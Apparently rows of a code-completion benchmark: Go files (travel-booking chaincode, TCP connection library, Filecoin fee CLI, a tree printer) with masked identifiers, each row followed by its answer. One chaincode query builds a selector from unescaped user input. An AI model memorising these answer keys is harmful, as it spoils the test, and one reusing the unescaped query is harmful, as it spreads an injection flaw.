seatIndex := -1 for i, seat := range ticket.Seats { if seat.Number == seatNumber { seatIndex = i break } } if seatIndex == -1 { return fmt.Errorf(""seat %s not found"", seatNumber) } if ticket.Seats[seatIndex].Status != Vacant { return fmt.Errorf(""seat %s is not available"", seatNumber) } // Reserve the seat ticket.Seats[seatIndex].Status = Booked ticket.Seats[seatIndex].BookedBy = userID seatIDs = append(seatIDs, ticket.Seats[seatIndex].ID) } // Update ticket ticket.AvailableSeats -= len(seatNumbers) if ticket.AvailableSeats == 0 { ticket.Status = ""Booked"" } ticket.UpdatedAt = getCurrentTime() // Calculate total price using dynamic price totalPrice := ticket.DynamicPrice * float64(len(seatNumbers)) // Create a booking booking := Booking{ ID: bookingID, TicketID: ticketID, UserID: userID, SeatIDs: seatIDs, NumberOfSeats: len(seatNumbers), TotalPrice: totalPrice, Status: ""Pending"", IsPaymentConfirmed: false, PaymentBlockHeight: """", // ✅ explicitly initialized CreatedAt: getCurrentTime(), UpdatedAt: getCurrentTime(), } // Update customer's booking history customer.BookingHistory = append(customer.BookingHistory, bookingID) // Store all updates using the helper function if err := s.updateState(ctx, bookingID, booking); err != nil { return fmt.Errorf(""failed to store booking: %v"", err) } if err := s.updateState(ctx, ticketID, ticket); err != nil { return fmt.Errorf(""failed to update ticket: %v"", err) } if err := s.updateState(ctx, userID, customer); err != nil { return fmt.Errorf(""failed to update customer: %v"", err) } return nil } // ConfirmPayment confirms a payment for a booking func (s *SmartContract) ConfirmPayment(ctx contractapi.TransactionContextInterface, bookingID string, transactionID string) error { // Get booking booking, err := s.GetBooking(ctx, bookingID) if err != nil { return fmt.Errorf(""failed to get booking: %v"", err) } if booking.Status != ""Pending"" { return fmt.Errorf(""booking %s is not in pending state"", bookingID) } // Validate transaction ID format if transactionID == """" { return fmt.Errorf(""invalid transaction ID"") } // Get ticket to verify price ticket, err := s.GetTicket(ctx, booking.TicketID) if err != nil { return fmt.Errorf(""failed to get ticket: %v"", err) } // Verify payment amount matches booking amount expectedAmount := ticket.DynamicPrice * float64(booking.NumberOfSeats) if booking.TotalPrice != expectedAmount { return fmt.Errorf(""payment amount mismatch: expected %f, got %f"", expectedAmount, booking.TotalPrice) } // Create payment record payment := Payment{ ID: fmt.Sprintf(""payment-%s"", bookingID), BookingID: bookingID, Amount: booking.TotalPrice, Status: ""Confirmed"", TransactionID: transactionID, CreatedAt: getCurrentTime(), UpdatedAt: getCurrentTime(), } // Update booking booking.IsPaymentConfirmed = true booking.Status = ""Confirmed"" booking.PaymentBlockHeight = ctx.GetStub().GetTxID() booking.UpdatedAt = getCurrentTime() // Store payment and updated booking using the helper function if err := s.updateState(ctx, payment.ID, payment); err != nil { return fmt.Errorf(""failed to store payment: %v"", err) } if err := s.updateState(ctx, bookingID, booking); err != nil { return fmt.Errorf(""failed to update booking: %v"", err) } return nil } // CancelBooking cancels a booking and handles refund func (s *SmartContract) CancelBooking(ctx contractapi.TransactionContextInterface, bookingId string) error { // Get the booking booking, err := s.GetBooking(ctx, bookingId) if err != nil { return fmt.Errorf(""failed to get booking: %v"", err) } // Get the ticket ticket, err := s.GetTicket(ctx, booking.TicketID) if err != nil { return fmt.Errorf(""failed to get ticket: %v"", err) } // Get the customer customer, err := s.GetCustomer(ctx, booking.UserID) if err != nil { return fmt.Errorf(""failed to get customer: %v"", err) } // Update seat statuses for _, seatID := range booking.SeatIDs { for i := range ticket.Seats { if ticket.Seats[i].ID == seatID { ticket.Seats[i].Status = Vacant ticket.Seats[i].BookedBy = """" ticket.AvailableSeats++ } } } // Update ticket status if it was fully booked if ticket.Status == ""Booked"" && ticket.AvailableSeats > 0 { ticket.Status = ""Available"" } ticket.UpdatedAt = getCurrentTime() // Calculate refund amount (e.g., 80% of original payment) refundAmount := booking.TotalPrice * 0.8 // Update booking status booking.Status = ""Cancelled"" booking.IsPaymentConfirmed = true booking.TotalPrice = refundAmount booking.UpdatedAt = getCurrentTime() // Remove booking from customer's history for i, historyBookingID := range customer.BookingHistory { if historyBookingID == bookingId { customer.BookingHistory = append(customer.BookingHistory[:i], customer.BookingHistory[i+1:]...) break } } // Save all updates using the helper function if err := s.updateState(ctx, booking.TicketID, ticket); err != nil { return fmt.Errorf(""failed to update ticket: %v"", err) } if err := s.updateState(ctx, bookingId, booking); err != nil { return fmt.Errorf(""failed to update booking: %v"", err) } if err := s.updateState(ctx, booking.UserID, customer); err != nil { return fmt.Errorf(""failed to update customer: %v"", err) } return nil } // GetTicket returns the ticket with the given ID func (s *SmartContract) GetTicket(ctx contractapi.TransactionContextInterface, id string) (*Ticket, error) { ticketJSON, err := ctx.GetStub().GetState(id) if err != nil { return nil, fmt.Errorf(""failed to read from world state: %v"", err) } if ticketJSON == nil { return nil, fmt.Errorf(""the ticket %s does not exist"", id) } var ticket Ticket err = json.Unmarshal(ticketJSON, &ticket) if err != nil { return nil, err } return &ticket, nil } // GetBooking returns the booking with the given ID func (s *SmartContract) GetBooking(ctx contractapi.TransactionContextInterface, id string) (*Booking, error) { bookingJSON, err := ctx.GetStub().GetState(id) if err != nil { return nil, fmt.Errorf(""failed to read from world state: %v"", err) } if bookingJSON == nil { return nil, fmt.Errorf(""the booking %s does not exist"", id) } var booking Booking err = json.Unmarshal(bookingJSON, &booking) if err != nil { return nil, err } return &booking, nil } // RegisterCustomer registers a new customer func (s *SmartContract) RegisterCustomer(ctx contractapi.TransactionContextInterface, id string, name string, email string, phone string, visibility string) error { // Check if customer already exists exists, err := s.CustomerExists(ctx, id) if err != nil { return fmt.Errorf(""failed to check customer existence: %v"", err) } if exists { return fmt.Errorf(""customer %s already exists"", id) } // Validate visibility if visibility != string(Public) && visibility != string(Anonymous) { return fmt.Errorf(""invalid visibility: %s"", visibility) } // Create customer customer := Customer{ ID: id, Name: name, Email: email, Phone: phone, Visibility: ProfileVisibility(visibility), RegisteredDate: getCurrentTime(), IsActive: true, BookingHistory: []string{}, } return s.updateState(ctx, id, customer) } // DeregisterCustomer deregisters a customer func (s *SmartContract) DeregisterCustomer(ctx contractapi.TransactionContextInterface, id string) error { customer, err := s.GetCustomer(ctx, id) if err != nil { return fmt.Errorf(""failed to get customer: %v"", err) } customer.IsActive = false return s.updateState(ctx, id, customer) } // UpdateCustomerVisibility updates a customer's profile visibility func (s *SmartContract) UpdateCustomerVisibility(ctx contractapi.TransactionContextInterface, id string, visibility string) error { customer, err := s.GetCustomer(ctx, id) if err != nil { return fmt.Errorf(""failed to get customer: %v"", err) } if visibility != string(Public) && visibility != string(Anonymous) { return fmt.Errorf(""invalid visibility: %s"", visibility) } customer.Visibility = ProfileVisibility(visibility) return s.updateState(ctx, id, customer) } // GetCustomer returns the customer with the given ID func (s *SmartContract) GetCustomer(ctx contractapi.TransactionContextInterface, id string) (*Customer, error) { customerJSON, err := ctx.GetStub().GetState(id) if err != nil { return nil, fmt.Errorf(""failed to read from world state: %v"", err) } if customerJSON == nil { return nil, fmt.Errorf(""customer %s does not exist"", id) } var customer Customer err = json.Unmarshal(customerJSON, &customer) if err != nil { return nil, err } return &customer, nil } // CustomerExists returns true when customer with given ID exists in world state func (s *SmartContract) CustomerExists(ctx contractapi.TransactionContextInterface, id string) (bool, error) { customerJSON, err := ctx.GetStub().GetState(id) if err != nil { return false, fmt.Errorf(""failed to read from world state: %v"", err) } return customerJSON != nil, nil } // RegisterProvider registers a new service provider func (s *SmartContract) RegisterProvider(ctx contractapi.TransactionContextInterface, id string, name string, email string, phone string, transportMode string) error { // Check if provider already exists exists, err := s.ProviderExists(ctx, id) if err != nil { return fmt.Errorf(""failed to check provider existence: %v"", err) } if exists { return fmt.Errorf(""provider %s already exists"", id) } // Validate transport mode if transportMode != string(Air) && transportMode != string(Land) && transportMode != string(Water) { return fmt.Errorf(""invalid transport mode: %s"", transportMode) } // Create provider provider := Provider{ ID: id, Name: name, Email: email, Phone: phone, TransportMode: transportMode, Rating: 0.0, TotalRatings: 0, RegisteredDate: getCurrentTime(), IsActive: true, TransportList: []string{}, } return s.updateState(ctx, id, provider) } // DeregisterProvider deregisters a service provider func (s *SmartContract) DeregisterProvider(ctx contractapi.TransactionContextInterface, id string) error { provider, err := s.GetProvider(ctx, id) if err != nil { return fmt.Errorf(""failed to get provider: %v"", err) } provider.IsActive = false return s.updateState(ctx, id, provider) } // GetProvider returns the provider with the given ID func (s *SmartContract) GetProvider(ctx contractapi.TransactionContextInterface, id string) (*Provider, error) { providerJSON, err := ctx.GetStub().GetState(id) if err != nil { return nil, fmt.Errorf(""failed to read from world state: %v"", err) } if providerJSON == nil { return nil, fmt.Errorf(""provider %s does not exist"", id) } var provider Provider err = json.Unmarshal(providerJSON, &provider) if err != nil { return nil, err } return &provider, nil } // ProviderExists returns true when provider with given ID exists in world state func (s *SmartContract) ProviderExists(ctx contractapi.TransactionContextInterface, id string) (bool, error) { providerJSON, err := ctx.GetStub().GetState(id) if err != nil { return false, fmt.Errorf(""failed to read from world state: %v"", err) } return providerJSON != nil, nil } // UpdateProviderRating updates a provider's rating func (s *SmartContract) UpdateProviderRating(ctx contractapi.TransactionContextInterface, id string, rating float64) error { provider, err := s.GetProvider(ctx, id) if err != nil { return fmt.Errorf(""failed to get provider: %v"", err) } // Validate rating if rating < 0 || rating > 5 { return fmt.Errorf(""invalid rating: %f (must be between 0 and 5)"", rating) } // Update rating provider.TotalRatings++ provider.Rating = ((provider.Rating * float64(provider.TotalRatings-1)) + rating) / float64(provider.TotalRatings) return s.updateState(ctx, id, provider) } // QueryTicketsByRoute queries tickets by source, destination, and date func (s *SmartContract) QueryTicketsByRoute(ctx contractapi.TransactionContextInterface, source string, destination string, date string) ([]*Ticket, error) { // Validate input parameters if source == """" || destination == """" || date == """" { return nil, fmt.Errorf(""source, destination, and date are required parameters"") } // Sanitize input to prevent injection source = strings.ReplaceAll(source, ""\"""", ""\\\"""") destination = strings.ReplaceAll(destination, ""\"""", ""\\\"""") date = strings.ReplaceAll(date, ""\"""", ""\\\"""") queryString := fmt.Sprintf(`{ ""selector"": { ""origin"": ""%s"", ""destination"": ""%s"", ""departureTime"": { ""$regex"": ""^%s"" } }, ""use_index"": [""route_index""] }`, source, destination, date) return s.queryTickets(ctx, queryString) } // QueryTicketsByProvider queries tickets by service provider func (s *SmartContract) QueryTicketsByProvider(ctx contractapi.TransactionContextInterface, providerID string) ([]*Ticket, error) { // Validate input parameter if providerID == """" { return nil, fmt.Errorf(""provider ID is required"") } // Sanitize input providerID = strings.ReplaceAll(providerID, ""\"""", ""\\\"""") queryString := fmt.Sprintf(`{ ""selector"": { ""serviceProvider"": ""%s"" }, ""use_index"": [""provider_index""] }`, providerID) return s.queryTickets(ctx, queryString) } // QueryTicketsByTransportMode queries tickets by transport mode func (s *SmartContract) QueryTicketsByTransportMode(ctx contractapi.TransactionContextInterface, mode string) ([]*Ticket, error) { // Validate transport mode if mode != string(Air) && mode != string(Land) && mode != string(Water) { return nil, fmt.Errorf(""invalid transport mode: %s"", mode) } queryString := fmt.Sprintf(`{ ""selector"": { ""transportMode"": ""%s"" }, ""use_index"": [""mode_index""] }`, mode) return s.queryTickets(ctx, queryString) } // QueryTicketsByPriceRange queries tickets within a price range func (s *SmartContract) QueryTicketsByPriceRange(ctx contractapi.TransactionContextInterface, minPrice float64, maxPrice float64) ([]*Ticket, error) { // Validate price range if minPrice < 0 || maxPrice < 0 || minPrice > maxPrice { return nil, fmt.Errorf(""invalid price range: min=%f, max=%f"", minPrice, maxPrice) } queryString := fmt.Sprintf(`{ ""selector"": { ""dynamicPrice"": { ""$gte"": %f, ""$lte"": %f } }, ""use_index"": [""price_index""] }`, minPrice, maxPrice) return s.queryTickets(ctx, queryString) } // QueryTicketsByProviderRating queries tickets by provider rating func (s *SmartContract) QueryTicketsByProviderRating(ctx contractapi.TransactionContextInterface, minRating float64) ([]*Ticket, error) { // First get all providers with rating >= minRating providerQueryString := fmt.Sprintf(`{""selector"":{""rating"":{""$gte"":%f}}}`, minRating) providerResultsIterator, err := ctx.GetStub().GetQueryResult(providerQueryString) if err != nil { return nil, fmt.Errorf(""failed to query providers: %v"", err) } defer providerResultsIterator.Close() // Collect provider IDs [MASK] := make([]string, 0) for providerResultsIterator.HasNext() { queryResponse, err := providerResultsIterator.Next() if err != nil { return nil, fmt.Errorf(""failed to iterate provider results: %v"", err) } var provider Provider err = json.Unmarshal(queryResponse.Value, &provider) if err != nil { continue } [MASK] = append( [MASK] , provider.ID) } // If no providers found, return empty list if len( [MASK] ) == 0 { return []*Ticket{}, nil } // Build query for tickets from these providers providerConditions := make([]string, len( [MASK] )) for i, id := range [MASK] { providerConditions[i] = fmt.Sprintf(`""serviceProvider"":""%s""`, id) } queryString := fmt.Sprintf(`{""selector"":{""$or"":[%s]}}`, strings.Join(providerConditions, "","")) return s.queryTickets(ctx, queryString) } // QueryAvailableSeats queries available seats for a ticket func (s *SmartContract) QueryAvailableSeats(ctx contractapi.TransactionContextInterface, ticketID string) ([]*Seat, error) { ticket, err := s.GetTicket(ctx, ticketID) if err != nil { return nil, err } availableSeats := make([]*Seat, 0) for i := range ticket.Seats { if ticket.Seats[i].Status == Vacant { availableSeats = append(availableSeats, &ticket.Seats[i]) } } return availableSeats, nil } // QueryCustomerBookings returns all bookings for a customer func (s *SmartContract) QueryCustomerBookings(ctx contractapi.TransactionContextInterface, customerId string) ([]*Booking, error) { queryString := fmt.Sprintf(`{""selector"":{""userId"":""%s""}}`, customerId) resultsIterator, err := ctx.GetStub().GetQueryResult(queryString) if err != nil { return nil, err } defer resultsIterator.Close() var bookings []*Booking for resultsIterator.HasNext() { queryResult, err := resultsIterator.Next() if err != nil { return nil, err } var booking Booking err = json.Unmarshal(queryResult.Value, &booking) if err != nil { return nil, err } bookings = append(bookings, &booking) } return bookings, nil } // queryTickets is a helper function to query tickets using a query string func (s *SmartContract) queryTickets(ctx contractapi.TransactionContextInterface, queryString string) ([]*Ticket, error) { resultsIterator, err := ctx.GetStub().GetQueryResult(queryString) if err != nil { return nil, fmt.Errorf(""failed to query tickets: %v"", err) } defer resultsIterator.Close() var tickets []*Ticket for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return nil, fmt.Errorf(""failed to iterate ticket results: %v"", err) } var ticket Ticket err = json.Unmarshal(queryResponse.Value, &ticket) if err != nil { continue } tickets = append(tickets, &ticket) } return tickets, nil } func (s *SmartContract) WhoAmI(ctx contractapi.TransactionContextInterface) (string, error) { mspID, err := ctx.GetClientIdentity().GetMSPID() if err != nil { return """", fmt.Errorf(""could not get MSP ID: %v"", err) } return fmt.Sprintf(""Your MSP ID is %s"", mspID), nil } func main() { chaincode, err := contractapi.NewChaincode(&SmartContract{}) if err != nil { fmt.Printf(""Error creating MyTravel chaincode: %s"", err.Error()) return } if err := chaincode.Start(); err != nil { fmt.Printf(""Error starting MyTravel chaincode: %s"", err.Error()) } } ",providerIDs 289,"// TCPConnection. // note: in OSX system, the default max concurrency is limited to 128, // so when your concurrency number more than 128 will occur error: connect: connection reset by peer. // you should by setting: 'sysctl -w kern.ipc.somaxconn=xxx', xxx is the max currency number. // link https://github.com/golang/go/issues/20960. package connections import ( ""io"" ""net"" ""strconv"" ""github.com/shunhui19/goes/lib"" ""github.com/shunhui19/goes/protocols"" ) const ( // ReadBufferSize read buffer size. ReadBufferSize = 65535 // MaxSendBufferSize maximum size of send buffer. MaxSendBufferSize = 104856 // DefaultMaxSendBufferSize default maximum size of send buffer. DefaultMaxSendBufferSize = 104856 // MaxPackageSize maximum size of acceptable buffer. MaxPackageSize = 104856 // DefaultMaxPackageSize default maximum size of acceptable buffer. DefaultMaxPackageSize = 1048560 // StatusInitial initial status of connection. StatusInitial = 0 // StatusConnecting connecting status of connection. StatusConnecting = 1 // StatusEstablished established status of connection. StatusEstablished = 2 // StatusClosing closing status of connection. StatusClosing = 4 // StatusClosed closed status of connection. StatusClosed = 8 // GoerSendFail send fail. GoerSendFail = 2 ) // TCPConnection struct. type TCPConnection struct { // baseConnection. baseConnection BaseConnection // OnMessage emitted when data is received. OnMessage func(connection Connection, data []byte) // OnError emitted when a error occurs with connection. OnError func(connection Connection, code int, message string) // OnClose emitted when the other end of the socket send a FIN package. OnClose func(connection Connection) // OnBufferFull emitted when the send buffer becomes full. OnBufferFull func(connection Connection) // OnBufferDrain emitted when the send buffer becomes empty. OnBufferDrain func(connection Connection) // Transport transport. Transport string // Protocol application layer protocol. Protocol protocols.Protocol // ID the id of connection. ID int // MaxSendBufferSize set the maximum send buffer size for the current connection. MaxSendBufferSize int // MaxPackageSize set the maximum acceptable packet size for the current connection. MaxPackageSize int // socket tcp socket. socket *net.Conn // remoteAddress remote address. remoteAddress string // recvBuffer receive buffer. recvBuffer []byte // sendBuffer send buffer. sendBuffer []byte // Connections all connection instances, key is connection id and value is *net.Conn. Connections CStore // status connection status. status int // byteRead bytes read. byteRead int // byteWrite bytes written. byteWrite int // currentPackageLength current package length. currentPackageLength int } // Send send data on the connection. // if connection is closing or closed, return false. // if connection have not been established, then save encode data info application send buffer, // otherwise direct send encode of data into system socket send buffer. // // return value. // if return true, indicate the message already send to operating system layer socket send buffer. // else return false, send fail. // return nil indicate the message already send to application send buffer, waiting for into operating system socket send buffer. func (t *TCPConnection) Send(buffer string, [MASK] bool) interface{} { if t.status == StatusClosing || t.status == StatusClosed { return false } // try to call protocol::encode(send_buffer) before sending into the application send buffer. // every protocol maybe return different type after encode func. if [MASK] == false && t.Protocol != nil { switch result := t.Protocol.Encode([]byte(buffer)).(type) { case []byte: buffer = string(result) case string: buffer = result } if len(buffer) == 0 { return nil } } // when the connection have not been established, save encode data into send buffer. if t.status != StatusEstablished { if len(t.sendBuffer) > 0 && t.bufferIsFull() { t.baseConnection.SendFail++ return false } // the encode of data into application send buffer. t.sendBuffer = append(t.sendBuffer, []byte(buffer)...) t.checkBufferWillFull() return nil } // when the connection is established, send data directed. if len(t.sendBuffer) == 0 { n, err := (*t.socket).Write([]byte(buffer)) // connection maybe closed. if err != nil { if t.socket == nil || err == io.EOF { t.baseConnection.SendFail++ if t.OnError != nil { t.OnError(t, GoerSendFail, ""client is closed"") } t.destroy() return false } } // send success. if n == len(buffer) { t.byteWrite += n return true } // send only part of the data. if n > 0 { t.sendBuffer = []byte(buffer[n:]) t.byteWrite += n } else { // connection whether is closed. if t.socket == nil || err == io.EOF { t.baseConnection.SendFail++ if t.OnError != nil { t.OnError(t, GoerSendFail, ""client is closed"") } t.destroy() return false } // the fail of data send again. t.sendBuffer = []byte(buffer) t.checkBufferWillFull() t.write() return nil } } else { if t.bufferIsFull() { t.baseConnection.SendFail++ return false } t.sendBuffer = append(t.sendBuffer, []byte(buffer)...) t.checkBufferWillFull() } return nil } // bufferIsFull whether send buffer is full. func (t *TCPConnection) bufferIsFull() bool { if len(t.sendBuffer) >= t.MaxSendBufferSize { if t.OnError != nil { t.OnError(t, GoerSendFail, ""send buffer full and drop package"") } return true } return false } // checkBufferWillFull check whether the send buffer will be full. func (t *TCPConnection) checkBufferWillFull() { if len(t.sendBuffer) >= t.MaxSendBufferSize { if t.OnBufferFull != nil { t.OnBufferFull(t) } } } // Close close connection. func (t *TCPConnection) Close(data string) { if t.status == StatusClosing || t.status == StatusClosed { return } if data != """" { t.Send(data, false) } t.status = StatusClosing t.destroy() } // GetRemoteIP get remote ip. func (t *TCPConnection) GetRemoteIP() string { IP, _, _ := net.SplitHostPort(t.remoteAddress) return IP } // GetRemotePort get remote port. func (t *TCPConnection) GetRemotePort() int { _, port, _ := net.SplitHostPort(t.remoteAddress) p, _ := strconv.Atoi(port) return p } // GetRemoteAddress get remote address, the format is like this http://127.0.0.1:8080. func (t *TCPConnection) GetRemoteAddress() string { return t.remoteAddress } // GetLocalIP get local ip. func (t *TCPConnection) GetLocalIP() string { IP, _, _ := net.SplitHostPort((*t.socket).LocalAddr().String()) return IP } // GetLocalPort get local port. func (t *TCPConnection) GetLocalPort() int { _, port, _ := net.SplitHostPort((*t.socket).LocalAddr().String()) p, _ := strconv.Atoi(port) return p } // GetLocalAddress get remote address, the format is like this http://127.0.0.1:8080. func (t *TCPConnection) GetLocalAddress() string { return (*t.socket).LocalAddr().String() } // GetSendBufferQueueSize get send buffer queue size. func (t *TCPConnection) GetSendBufferQueueSize() int { return len(t.sendBuffer) } // GetRecvBufferQueueSize get recv buffer queue size. func (t *TCPConnection) GetRecvBufferQueueSize() int { return len(t.recvBuffer) } // Read read data from socket. func (t *TCPConnection) Read() { // ssl handle. if t.Transport == ""ssl"" { } bytesPool := lib.NewBytesPool(1024) for { READ: buf := bytesPool.Get() n, err := (*t.socket).Read(buf.B) if err != nil || err == io.EOF { t.Close(""server close client"") return } // check connection closed. if n == 0 { t.destroy() return } t.byteRead += n t.recvBuffer = append(t.recvBuffer, buf.B[:n]...) bytesPool.Put(buf) // if the application layer protocol has been set up. if t.Protocol != nil { for len(t.recvBuffer) > 0 { // the current packet length is known. if t.currentPackageLength > 0 { // data is not enough for a package. if t.currentPackageLength > t.byteRead { goto READ } } else { // get length of package from protocol interface. input := t.Protocol.Input(t.recvBuffer, t.MaxPackageSize) switch input.(type) { case int: t.currentPackageLength = input.(int) // the package length is unknown. if t.currentPackageLength == 0 { goto READ } else if t.currentPackageLength > 0 && t.currentPackageLength < t.MaxPackageSize { // data is not enough for a package. if t.currentPackageLength > t.byteRead { goto READ } } case bool: if input == false { lib.Warn(""error package. the package of current connection maxsize is: %d"", t.MaxPackageSize) t.destroy() return } } } // the data is enough for a package. t.baseConnection.TotalRequest++ // get a full package from the buffer. oneRequestBuffer := t.recvBuffer[:t.currentPackageLength] // remove the current package from the receive buffer. t.recvBuffer = t.recvBuffer[t.currentPackageLength:] // reset the current package length. t.currentPackageLength = 0 if t.OnMessage == nil { continue } // decode request buffer before emitted OnMessage func. t.OnMessage(t, t.Protocol.Decode(oneRequestBuffer)) } } if len(t.recvBuffer) == 0 { continue } // application protocol is not set. t.baseConnection.TotalRequest++ if t.OnMessage == nil { t.recvBuffer = t.recvBuffer[:0] t.byteRead = 0 continue } t.OnMessage(t, t.recvBuffer) t.recvBuffer = t.recvBuffer[:0] } } // write write data into socket. func (t *TCPConnection) write() { n, _ := (*t.socket).Write(t.sendBuffer) if n == len(t.sendBuffer) { t.byteWrite += n t.sendBuffer = t.sendBuffer[:0] if t.OnBufferDrain != nil { t.OnBufferDrain(t) } if t.status == StatusClosing { t.destroy() } return } if n > 0 { t.byteWrite += n t.sendBuffer = t.sendBuffer[n:] } else { t.baseConnection.SendFail++ t.destroy() } } // destroy destroy connection. func (t *TCPConnection) destroy() { if t.status == StatusClosed { return } // close socket. err := (*t.socket).Close() if err != nil { lib.Warn(err.Error()) } t.status = StatusClosed // trigger OnClose func. if t.OnClose != nil { t.OnClose(t) } if t.status == StatusClosed { t.Connections.Del(t.ID) t.OnMessage, t.OnError, t.OnClose, t.OnBufferDrain, t.OnBufferFull = nil, nil, nil, nil, nil } } // NewTCPConnection new a tcp connection. func NewTCPConnection(socket *net.Conn, remoteAddress string) *TCPConnection { tcp := &TCPConnection{} tcp.baseConnection.ConnectionCount++ tcp.socket = socket tcp.MaxSendBufferSize = DefaultMaxSendBufferSize tcp.MaxPackageSize = DefaultMaxPackageSize tcp.recvBuffer = make([]byte, 0, ReadBufferSize) tcp.status = StatusEstablished tcp.remoteAddress = remoteAddress return tcp } ",raw 290,"package main import ( ""context"" ""encoding/csv"" ""fmt"" ""os"" ""strconv"" ""strings"" ""github.com/filecoin-project/go-state-types/abi"" ""github.com/filecoin-project/go-state-types/big"" ""github.com/filecoin-project/lotus/api"" ""github.com/filecoin-project/lotus/chain/types"" lcli ""github.com/filecoin-project/lotus/cli"" ""github.com/strahe/fil-terminator/pkg/utils"" ""github.com/urfave/cli/v2"" ) var batchCmd = &cli.Command{ Name: ""batch"", Usage: ""Batch calculate termination fees from CSV file"", Description: ""Read miners and epochs from CSV file and calculate termination fees for all sectors"", Flags: []cli.Flag{ &cli.StringFlag{ Name: ""input"", Aliases: []string{""i""}, Usage: ""Input CSV file path (format: minerid,epoch)"", Required: true, }, &cli.StringFlag{ Name: ""output"", Aliases: []string{""o""}, Usage: ""Output CSV file path (optional, print to terminal if not specified)"", }, &cli.BoolFlag{ Name: ""verbose"", Aliases: []string{""v""}, Usage: ""Verbose output"", }, &cli.StringFlag{ Name: ""api-url"", Usage: ""Lotus API URL"", }, }, Action: batchCalculate, } type MinerTask struct { MinerID string Epoch abi.ChainEpoch } type MinerResult struct { MinerID string Epoch abi.ChainEpoch TotalSectors int ActiveSectors int ExpiredSectors int TotalFee big.Int Status string Error string } func batchCalculate(c *cli.Context) error { api, closer, err := lcli.GetFullNodeAPIV1(c) if err != nil { return fmt.Errorf(""failed to connect to Lotus node: %w"", err) } defer closer() ctx, cancel := context.WithCancel(c.Context) defer cancel() // Read CSV file tasks, err := readCSVFile(c.String(""input"")) if err != nil { return fmt.Errorf(""failed to read CSV file: %w"", err) } if len(tasks) == 0 { return fmt.Errorf(""no tasks found in CSV file"") } fmt.Printf(""Processing %d miners...\n"", len(tasks)) // Process each miner results := make([]MinerResult, 0, len(tasks)) totalFee := big.Zero() for i, task := range tasks { if c.Bool(""verbose"") { fmt.Printf(""[%d/%d] Processing miner %s at epoch %d...\n"", i+1, len(tasks), task.MinerID, task.Epoch) } result := calculateMinerFee(ctx, api, task) results = append(results, result) if result.Error == """" { totalFee = big.Add(totalFee, result.TotalFee) } } // Output results if c.String(""output"") != """" { err = writeCSVResults(c.String(""output""), results) if err != nil { return fmt.Errorf(""failed to write output CSV: %w"", err) } fmt.Printf(""Results written to %s\n"", c.String(""output"")) } else { printResults(results) } // Print summary fmt.Printf(""\n=== Summary ===\n"") fmt.Printf(""Total miners processed: %d\n"", len(results)) [MASK] := 0 for _, r := range results { if r.Error == """" { [MASK] ++ } } fmt.Printf(""Successful calculations: %d\n"", [MASK] ) fmt.Printf(""Failed calculations: %d\n"", len(results)- [MASK] ) fmt.Printf(""Total termination fee: %s\n"", types.FIL(totalFee)) return nil } func readCSVFile(filename string) ([]MinerTask, error) { file, err := os.Open(filename) if err != nil { return nil, err } defer file.Close() reader := csv.NewReader(file) records, err := reader.ReadAll() if err != nil { return nil, err } tasks := make([]MinerTask, 0, len(records)) for i, record := range records { // Skip header row if it exists if i == 0 && (strings.ToLower(record[0]) == ""minerid"" || strings.ToLower(record[0]) == ""miner"") { continue } if len(record) < 2 { return nil, fmt.Errorf(""invalid CSV format at line %d: expected 2 columns"", i+1) } minerID := strings.TrimSpace(record[0]) epochStr := strings.TrimSpace(record[1]) epoch, err := strconv.ParseInt(epochStr, 10, 64) if err != nil { return nil, fmt.Errorf(""invalid epoch at line %d: %s"", i+1, epochStr) } tasks = append(tasks, MinerTask{ MinerID: minerID, Epoch: abi.ChainEpoch(epoch), }) } return tasks, nil } func calculateMinerFee(ctx context.Context, api api.FullNode, task MinerTask) MinerResult { // Prepare calculation request req := utils.CalculationRequest{ MinerID: task.MinerID, TargetEpoch: task.Epoch, SectorNumbers: []abi.SectorNumber{}, // empty means all sectors } // Calculate termination fees calcResult := utils.CalculateTerminationFee(ctx, api, req) // Convert to MinerResult result := MinerResult{ MinerID: calcResult.MinerID, Epoch: calcResult.TargetEpoch, TotalSectors: calcResult.TotalSectors, ActiveSectors: calcResult.ActiveSectors, ExpiredSectors: calcResult.ExpiredSectors, TotalFee: calcResult.TotalFee, Error: calcResult.Error, } if calcResult.Error == """" { result.Status = ""success"" } else { result.Status = ""failed"" } return result } func writeCSVResults(filename string, results []MinerResult) error { file, err := os.Create(filename) if err != nil { return err } defer file.Close() writer := csv.NewWriter(file) defer writer.Flush() // Write header header := []string{""MinerID"", ""Epoch"", ""Status"", ""TotalSectors"", ""ActiveSectors"", ""ExpiredSectors"", ""TotalFee(FIL)"", ""Error""} if err := writer.Write(header); err != nil { return err } // Write results for _, result := range results { record := []string{ result.MinerID, fmt.Sprintf(""%d"", result.Epoch), result.Status, fmt.Sprintf(""%d"", result.TotalSectors), fmt.Sprintf(""%d"", result.ActiveSectors), fmt.Sprintf(""%d"", result.ExpiredSectors), types.FIL(result.TotalFee).String(), result.Error, } if err := writer.Write(record); err != nil { return err } } return nil } func printResults(results []MinerResult) { fmt.Printf(""\n=== Results ===\n"") fmt.Printf(""%-12s %-10s %-8s %-6s %-6s %-8s %-15s %s\n"", ""MinerID"", ""Epoch"", ""Status"", ""Total"", ""Active"", ""Expired"", ""Fee(FIL)"", ""Error"") fmt.Println(strings.Repeat(""-"", 80)) for _, result := range results { errorMsg := result.Error if len(errorMsg) > 20 { errorMsg = errorMsg[:20] + ""..."" } fmt.Printf(""%-12s %-10d %-8s %-6d %-6d %-8d %-15s %s\n"", result.MinerID, result.Epoch, result.Status, result.TotalSectors, result.ActiveSectors, result.ExpiredSectors, types.FIL(result.TotalFee).String(), errorMsg, ) } } ",successCount 291,"package main import ( ""fmt"" ""io"" ""os"" ""sort"" ""strings"" ) const ( separator = string(os.PathSeparator) emptyIndent = "" "" commonIndent = ""│ "" regularPrefix = ""├───"" lastPrefix = ""└───"" emptySizeLabel = ""empty"" ) func printFile(out io.Writer, file os.FileInfo, prefix string) { pathNames := strings.Split(file.Name(), separator) size := emptySizeLabel if file.Size() > 0 { size = fmt.Sprintf(""%db"", file.Size()) } _, err := fmt.Fprintf(out, ""%s%s (%s)\n"", prefix, pathNames[len(pathNames)-1], size) if err != nil { panic(err.Error()) } } func printDir(out io.Writer, dir os.FileInfo, prefix string) { pathNames := strings.Split(dir.Name(), separator) _, err := fmt.Fprintf(out, ""%s%s\n"", prefix, pathNames[len(pathNames)-1]) if err != nil { panic(err.Error()) } } func getLastDirectoryIndex(files []os.FileInfo) int { lastIndex := -1 for index, meta := range files { if meta.IsDir() { lastIndex = index } } return lastIndex } func 